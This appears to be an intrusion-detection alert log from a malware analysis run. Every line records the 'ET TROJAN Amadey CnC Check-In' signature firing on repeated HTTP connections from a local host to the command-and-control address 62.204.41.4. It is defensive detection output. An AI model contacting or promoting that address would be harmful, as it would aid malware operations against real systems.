192.168.2.562.204.41.449807802027700 02/06/23-14:17:19.395600	TCP	2027700	ET TROJAN Amadey CnC Check-In	49807	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450098802027700 02/06/23-14:18:38.869062	TCP	2027700	ET TROJAN Amadey CnC Check-In	50098	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449848802027700 02/06/23-14:17:29.531648	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450141802027700 02/06/23-14:18:50.069928	TCP	2027700	ET TROJAN Amadey CnC Check-In	50141	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449784802027700 02/06/23-14:17:07.177698	TCP	2027700	ET TROJAN Amadey CnC Check-In	49784	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450182802027700 02/06/23-14:19:00.788880	TCP	2027700	ET TROJAN Amadey CnC Check-In	50182	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450218802027700 02/06/23-14:19:11.381609	TCP	2027700	ET TROJAN Amadey CnC Check-In	50218	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450259802027700 02/06/23-14:19:21.359170	TCP	2027700	ET TROJAN Amadey CnC Check-In	50259	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450000802027700 02/06/23-14:18:11.377143	TCP	2027700	ET TROJAN Amadey CnC Check-In	50000	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449889802027700 02/06/23-14:17:42.087363	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449713802027700 02/06/23-14:16:34.634243	TCP	2027700	ET TROJAN Amadey CnC Check-In	49713	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450041802027700 02/06/23-14:18:22.955497	TCP	2027700	ET TROJAN Amadey CnC Check-In	50041	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450118802027700 02/06/23-14:18:43.766872	TCP	2027700	ET TROJAN Amadey CnC Check-In	50118	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450171802027700 02/06/23-14:18:58.166616	TCP	2027700	ET TROJAN Amadey CnC Check-In	50171	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449843802027700 02/06/23-14:17:28.350642	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449884802027700 02/06/23-14:17:40.878750	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450248802027700 02/06/23-14:19:18.703803	TCP	2027700	ET TROJAN Amadey CnC Check-In	50248	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449881802027700 02/06/23-14:17:40.148507	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450154802027700 02/06/23-14:18:54.119780	TCP	2027700	ET TROJAN Amadey CnC Check-In	50154	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450243802027700 02/06/23-14:19:17.486100	TCP	2027700	ET TROJAN Amadey CnC Check-In	50243	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449970802027700 02/06/23-14:18:03.894708	TCP	2027700	ET TROJAN Amadey CnC Check-In	49970	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449774802027700 02/06/23-14:17:04.719767	TCP	2027700	ET TROJAN Amadey CnC Check-In	49774	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450047802027700 02/06/23-14:18:24.370968	TCP	2027700	ET TROJAN Amadey CnC Check-In	50047	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449835802027700 02/06/23-14:17:26.426113	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449924802027700 02/06/23-14:17:50.645406	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450065802027700 02/06/23-14:18:28.913263	TCP	2027700	ET TROJAN Amadey CnC Check-In	50065	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450019802027700 02/06/23-14:18:17.663562	TCP	2027700	ET TROJAN Amadey CnC Check-In	50019	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450215802027700 02/06/23-14:19:10.669293	TCP	2027700	ET TROJAN Amadey CnC Check-In	50215	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449746802027700 02/06/23-14:16:57.847861	TCP	2027700	ET TROJAN Amadey CnC Check-In	49746	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449942802027700 02/06/23-14:17:57.083818	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450108802027700 02/06/23-14:18:41.274401	TCP	2027700	ET TROJAN Amadey CnC Check-In	50108	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450187802027700 02/06/23-14:19:01.971976	TCP	2027700	ET TROJAN Amadey CnC Check-In	50187	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449853802027700 02/06/23-14:17:30.867273	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449764802027700 02/06/23-14:17:02.319285	TCP	2027700	ET TROJAN Amadey CnC Check-In	49764	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450031802027700 02/06/23-14:18:20.511059	TCP	2027700	ET TROJAN Amadey CnC Check-In	50031	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450120802027700 02/06/23-14:18:44.246465	TCP	2027700	ET TROJAN Amadey CnC Check-In	50120	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450126802027700 02/06/23-14:18:45.717300	TCP	2027700	ET TROJAN Amadey CnC Check-In	50126	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449952802027700 02/06/23-14:17:59.609624	TCP	2027700	ET TROJAN Amadey CnC Check-In	49952	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450037802027700 02/06/23-14:18:21.991529	TCP	2027700	ET TROJAN Amadey CnC Check-In	50037	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449958802027700 02/06/23-14:18:01.022168	TCP	2027700	ET TROJAN Amadey CnC Check-In	49958	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450003802027700 02/06/23-14:18:13.453554	TCP	2027700	ET TROJAN Amadey CnC Check-In	50003	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449863802027700 02/06/23-14:17:35.672249	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450192802027700 02/06/23-14:19:03.186396	TCP	2027700	ET TROJAN Amadey CnC Check-In	50192	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449792802027700 02/06/23-14:17:12.357233	TCP	2027700	ET TROJAN Amadey CnC Check-In	49792	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449869802027700 02/06/23-14:17:37.244652	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449999802027700 02/06/23-14:18:11.060496	TCP	2027700	ET TROJAN Amadey CnC Check-In	49999	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450088802027700 02/06/23-14:18:36.403853	TCP	2027700	ET TROJAN Amadey CnC Check-In	50088	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450110802027700 02/06/23-14:18:41.820358	TCP	2027700	ET TROJAN Amadey CnC Check-In	50110	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450021802027700 02/06/23-14:18:18.134393	TCP	2027700	ET TROJAN Amadey CnC Check-In	50021	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450177802027700 02/06/23-14:18:59.607121	TCP	2027700	ET TROJAN Amadey CnC Check-In	50177	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450269802027700 02/06/23-14:19:23.777741	TCP	2027700	ET TROJAN Amadey CnC Check-In	50269	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449993802027700 02/06/23-14:18:09.446812	TCP	2027700	ET TROJAN Amadey CnC Check-In	49993	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450009802027700 02/06/23-14:18:15.225597	TCP	2027700	ET TROJAN Amadey CnC Check-In	50009	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449812802027700 02/06/23-14:17:20.620292	TCP	2027700	ET TROJAN Amadey CnC Check-In	49812	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449879802027700 02/06/23-14:17:39.657688	TCP	2027700	ET TROJAN Amadey CnC Check-In	49879	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449720802027700 02/06/23-14:16:38.844826	TCP	2027700	ET TROJAN Amadey CnC Check-In	49720	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449723802027700 02/06/23-14:16:39.562180	TCP	2027700	ET TROJAN Amadey CnC Check-In	49723	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449968802027700 02/06/23-14:18:03.426821	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449901802027700 02/06/23-14:17:45.128471	TCP	2027700	ET TROJAN Amadey CnC Check-In	49901	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450238802027700 02/06/23-14:19:16.271312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50238	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450149802027700 02/06/23-14:18:52.948054	TCP	2027700	ET TROJAN Amadey CnC Check-In	50149	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449708802027700 02/06/23-14:16:33.047919	TCP	2027700	ET TROJAN Amadey CnC Check-In	49708	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450250802027700 02/06/23-14:19:19.184250	TCP	2027700	ET TROJAN Amadey CnC Check-In	50250	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450253802027700 02/06/23-14:19:19.903146	TCP	2027700	ET TROJAN Amadey CnC Check-In	50253	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450161802027700 02/06/23-14:18:55.790925	TCP	2027700	ET TROJAN Amadey CnC Check-In	50161	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449891802027700 02/06/23-14:17:42.583953	TCP	2027700	ET TROJAN Amadey CnC Check-In	49891	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450034802027700 02/06/23-14:18:21.257214	TCP	2027700	ET TROJAN Amadey CnC Check-In	50034	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450075802027700 02/06/23-14:18:33.288721	TCP	2027700	ET TROJAN Amadey CnC Check-In	50075	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450164802027700 02/06/23-14:18:56.510220	TCP	2027700	ET TROJAN Amadey CnC Check-In	50164	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449914802027700 02/06/23-14:17:48.241764	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449980802027700 02/06/23-14:18:06.304828	TCP	2027700	ET TROJAN Amadey CnC Check-In	49980	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449761802027700 02/06/23-14:17:01.580132	TCP	2027700	ET TROJAN Amadey CnC Check-In	49761	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449850802027700 02/06/23-14:17:30.084700	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450225802027700 02/06/23-14:19:13.073061	TCP	2027700	ET TROJAN Amadey CnC Check-In	50225	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449736802027700 02/06/23-14:16:52.079670	TCP	2027700	ET TROJAN Amadey CnC Check-In	49736	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449866802027700 02/06/23-14:17:36.501145	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449825802027700 02/06/23-14:17:23.920192	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449996802027700 02/06/23-14:18:10.162120	TCP	2027700	ET TROJAN Amadey CnC Check-In	49996	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450006802027700 02/06/23-14:18:14.489864	TCP	2027700	ET TROJAN Amadey CnC Check-In	50006	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449955802027700 02/06/23-14:18:00.317509	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450136802027700 02/06/23-14:18:48.120124	TCP	2027700	ET TROJAN Amadey CnC Check-In	50136	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449777802027700 02/06/23-14:17:05.460296	TCP	2027700	ET TROJAN Amadey CnC Check-In	49777	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450266802027700 02/06/23-14:19:23.059192	TCP	2027700	ET TROJAN Amadey CnC Check-In	50266	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450059802027700 02/06/23-14:18:27.376298	TCP	2027700	ET TROJAN Amadey CnC Check-In	50059	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450157802027700 02/06/23-14:18:54.822506	TCP	2027700	ET TROJAN Amadey CnC Check-In	50157	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450062802027700 02/06/23-14:18:28.208950	TCP	2027700	ET TROJAN Amadey CnC Check-In	50062	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449829802027700 02/06/23-14:17:24.880677	TCP	2027700	ET TROJAN Amadey CnC Check-In	49829	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449927802027700 02/06/23-14:17:51.554248	TCP	2027700	ET TROJAN Amadey CnC Check-In	49927	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449832802027700 02/06/23-14:17:25.693521	TCP	2027700	ET TROJAN Amadey CnC Check-In	49832	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450160802027700 02/06/23-14:18:55.547495	TCP	2027700	ET TROJAN Amadey CnC Check-In	50160	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449734802027700 02/06/23-14:16:51.611739	TCP	2027700	ET TROJAN Amadey CnC Check-In	49734	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450001802027700 02/06/23-14:18:11.711181	TCP	2027700	ET TROJAN Amadey CnC Check-In	50001	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450255802027700 02/06/23-14:19:20.388213	TCP	2027700	ET TROJAN Amadey CnC Check-In	50255	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449930802027700 02/06/23-14:17:53.103784	TCP	2027700	ET TROJAN Amadey CnC Check-In	49930	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449988802027700 02/06/23-14:18:08.271366	TCP	2027700	ET TROJAN Amadey CnC Check-In	49988	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449762802027700 02/06/23-14:17:01.814767	TCP	2027700	ET TROJAN Amadey CnC Check-In	49762	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450090802027700 02/06/23-14:18:36.931058	TCP	2027700	ET TROJAN Amadey CnC Check-In	50090	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449860802027700 02/06/23-14:17:33.773507	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449767802027700 02/06/23-14:17:03.053144	TCP	2027700	ET TROJAN Amadey CnC Check-In	49767	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450095802027700 02/06/23-14:18:38.133971	TCP	2027700	ET TROJAN Amadey CnC Check-In	50095	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450193802027700 02/06/23-14:19:03.417591	TCP	2027700	ET TROJAN Amadey CnC Check-In	50193	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449963802027700 02/06/23-14:18:02.243572	TCP	2027700	ET TROJAN Amadey CnC Check-In	49963	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449804802027700 02/06/23-14:17:18.644415	TCP	2027700	ET TROJAN Amadey CnC Check-In	49804	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450132802027700 02/06/23-14:18:47.164865	TCP	2027700	ET TROJAN Amadey CnC Check-In	50132	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449770802027700 02/06/23-14:17:03.784821	TCP	2027700	ET TROJAN Amadey CnC Check-In	49770	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449983802027700 02/06/23-14:18:07.033596	TCP	2027700	ET TROJAN Amadey CnC Check-In	49983	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449692802027700 02/06/23-14:16:29.077816	TCP	2027700	ET TROJAN Amadey CnC Check-In	49692	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450227802027700 02/06/23-14:19:13.545015	TCP	2027700	ET TROJAN Amadey CnC Check-In	50227	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450222802027700 02/06/23-14:19:12.337102	TCP	2027700	ET TROJAN Amadey CnC Check-In	50222	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449739802027700 02/06/23-14:16:52.782774	TCP	2027700	ET TROJAN Amadey CnC Check-In	49739	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450185802027700 02/06/23-14:19:01.492596	TCP	2027700	ET TROJAN Amadey CnC Check-In	50185	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449898802027700 02/06/23-14:17:44.411727	TCP	2027700	ET TROJAN Amadey CnC Check-In	49898	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450104802027700 02/06/23-14:18:40.328930	TCP	2027700	ET TROJAN Amadey CnC Check-In	50104	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449857802027700 02/06/23-14:17:31.816085	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449893802027700 02/06/23-14:17:43.066540	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449935802027700 02/06/23-14:17:55.397933	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449697802027700 02/06/23-14:16:30.331432	TCP	2027700	ET TROJAN Amadey CnC Check-In	49697	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450026802027700 02/06/23-14:18:19.334487	TCP	2027700	ET TROJAN Amadey CnC Check-In	50026	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450067802027700 02/06/23-14:18:29.442348	TCP	2027700	ET TROJAN Amadey CnC Check-In	50067	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450263802027700 02/06/23-14:19:22.314339	TCP	2027700	ET TROJAN Amadey CnC Check-In	50263	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449754802027700 02/06/23-14:16:59.800602	TCP	2027700	ET TROJAN Amadey CnC Check-In	49754	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449852802027700 02/06/23-14:17:30.586454	TCP	2027700	ET TROJAN Amadey CnC Check-In	49852	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450082802027700 02/06/23-14:18:34.947434	TCP	2027700	ET TROJAN Amadey CnC Check-In	50082	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449840802027700 02/06/23-14:17:27.625203	TCP	2027700	ET TROJAN Amadey CnC Check-In	49840	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450079802027700 02/06/23-14:18:34.225155	TCP	2027700	ET TROJAN Amadey CnC Check-In	50079	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450202802027700 02/06/23-14:19:05.591074	TCP	2027700	ET TROJAN Amadey CnC Check-In	50202	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450018802027700 02/06/23-14:18:17.421896	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450198802027700 02/06/23-14:19:04.619860	TCP	2027700	ET TROJAN Amadey CnC Check-In	50198	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450116802027700 02/06/23-14:18:43.292412	TCP	2027700	ET TROJAN Amadey CnC Check-In	50116	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449907802027700 02/06/23-14:17:46.566675	TCP	2027700	ET TROJAN Amadey CnC Check-In	49907	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449787802027700 02/06/23-14:17:07.919083	TCP	2027700	ET TROJAN Amadey CnC Check-In	49787	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449910802027700 02/06/23-14:17:47.301539	TCP	2027700	ET TROJAN Amadey CnC Check-In	49910	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449782802027700 02/06/23-14:17:06.679140	TCP	2027700	ET TROJAN Amadey CnC Check-In	49782	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449824802027700 02/06/23-14:17:23.678413	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450152802027700 02/06/23-14:18:53.649179	TCP	2027700	ET TROJAN Amadey CnC Check-In	50152	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449809802027700 02/06/23-14:17:19.879293	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450235802027700 02/06/23-14:19:15.519092	TCP	2027700	ET TROJAN Amadey CnC Check-In	50235	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449726802027700 02/06/23-14:16:43.296877	TCP	2027700	ET TROJAN Amadey CnC Check-In	49726	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450054802027700 02/06/23-14:18:26.116806	TCP	2027700	ET TROJAN Amadey CnC Check-In	50054	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450137802027700 02/06/23-14:18:48.518586	TCP	2027700	ET TROJAN Amadey CnC Check-In	50137	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449902802027700 02/06/23-14:17:45.366776	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450230802027700 02/06/23-14:19:14.260159	TCP	2027700	ET TROJAN Amadey CnC Check-In	50230	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449865802027700 02/06/23-14:17:36.266770	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449718802027700 02/06/23-14:16:38.360119	TCP	2027700	ET TROJAN Amadey CnC Check-In	49718	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449943802027700 02/06/23-14:17:57.392402	TCP	2027700	ET TROJAN Amadey CnC Check-In	49943	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450271802027700 02/06/23-14:19:24.244810	TCP	2027700	ET TROJAN Amadey CnC Check-In	50271	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449790802027700 02/06/23-14:17:11.646769	TCP	2027700	ET TROJAN Amadey CnC Check-In	49790	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450087802027700 02/06/23-14:18:36.155229	TCP	2027700	ET TROJAN Amadey CnC Check-In	50087	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450129802027700 02/06/23-14:18:46.436570	TCP	2027700	ET TROJAN Amadey CnC Check-In	50129	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450046802027700 02/06/23-14:18:24.134243	TCP	2027700	ET TROJAN Amadey CnC Check-In	50046	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449873802027700 02/06/23-14:17:38.196581	TCP	2027700	ET TROJAN Amadey CnC Check-In	49873	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449759802027700 02/06/23-14:17:01.035713	TCP	2027700	ET TROJAN Amadey CnC Check-In	49759	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449795802027700 02/06/23-14:17:14.968804	TCP	2027700	ET TROJAN Amadey CnC Check-In	49795	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449878802027700 02/06/23-14:17:39.400319	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449837802027700 02/06/23-14:17:26.897782	TCP	2027700	ET TROJAN Amadey CnC Check-In	49837	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450165802027700 02/06/23-14:18:56.744687	TCP	2027700	ET TROJAN Amadey CnC Check-In	50165	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450124802027700 02/06/23-14:18:45.227691	TCP	2027700	ET TROJAN Amadey CnC Check-In	50124	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450207802027700 02/06/23-14:19:06.819268	TCP	2027700	ET TROJAN Amadey CnC Check-In	50207	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449722802027700 02/06/23-14:16:39.327484	TCP	2027700	ET TROJAN Amadey CnC Check-In	49722	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449820802027700 02/06/23-14:17:22.659076	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449976802027700 02/06/23-14:18:05.318607	TCP	2027700	ET TROJAN Amadey CnC Check-In	49976	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449719802027700 02/06/23-14:16:38.598088	TCP	2027700	ET TROJAN Amadey CnC Check-In	49719	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449808802027700 02/06/23-14:17:19.636621	TCP	2027700	ET TROJAN Amadey CnC Check-In	49808	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449906802027700 02/06/23-14:17:46.332970	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449817802027700 02/06/23-14:17:21.886400	TCP	2027700	ET TROJAN Amadey CnC Check-In	49817	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450074802027700 02/06/23-14:18:33.054158	TCP	2027700	ET TROJAN Amadey CnC Check-In	50074	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449915802027700 02/06/23-14:17:48.482167	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450172802027700 02/06/23-14:18:58.399243	TCP	2027700	ET TROJAN Amadey CnC Check-In	50172	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450013802027700 02/06/23-14:18:16.193101	TCP	2027700	ET TROJAN Amadey CnC Check-In	50013	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450270802027700 02/06/23-14:19:24.011354	TCP	2027700	ET TROJAN Amadey CnC Check-In	50270	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449948802027700 02/06/23-14:17:58.606495	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450083802027700 02/06/23-14:18:35.186608	TCP	2027700	ET TROJAN Amadey CnC Check-In	50083	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450169802027700 02/06/23-14:18:57.700716	TCP	2027700	ET TROJAN Amadey CnC Check-In	50169	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449750802027700 02/06/23-14:16:58.814620	TCP	2027700	ET TROJAN Amadey CnC Check-In	49750	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450267802027700 02/06/23-14:19:23.304554	TCP	2027700	ET TROJAN Amadey CnC Check-In	50267	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449741802027700 02/06/23-14:16:53.261442	TCP	2027700	ET TROJAN Amadey CnC Check-In	49741	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450178802027700 02/06/23-14:18:59.843880	TCP	2027700	ET TROJAN Amadey CnC Check-In	50178	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450109802027700 02/06/23-14:18:41.581874	TCP	2027700	ET TROJAN Amadey CnC Check-In	50109	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450103802027700 02/06/23-14:18:40.079576	TCP	2027700	ET TROJAN Amadey CnC Check-In	50103	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450268802027700 02/06/23-14:19:23.543087	TCP	2027700	ET TROJAN Amadey CnC Check-In	50268	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449779802027700 02/06/23-14:17:05.941638	TCP	2027700	ET TROJAN Amadey CnC Check-In	49779	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449934802027700 02/06/23-14:17:55.067276	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449738802027700 02/06/23-14:16:52.550399	TCP	2027700	ET TROJAN Amadey CnC Check-In	49738	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450014802027700 02/06/23-14:18:16.436544	TCP	2027700	ET TROJAN Amadey CnC Check-In	50014	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449975802027700 02/06/23-14:18:05.084398	TCP	2027700	ET TROJAN Amadey CnC Check-In	49975	80	192.168.2.5	62.204.41.4
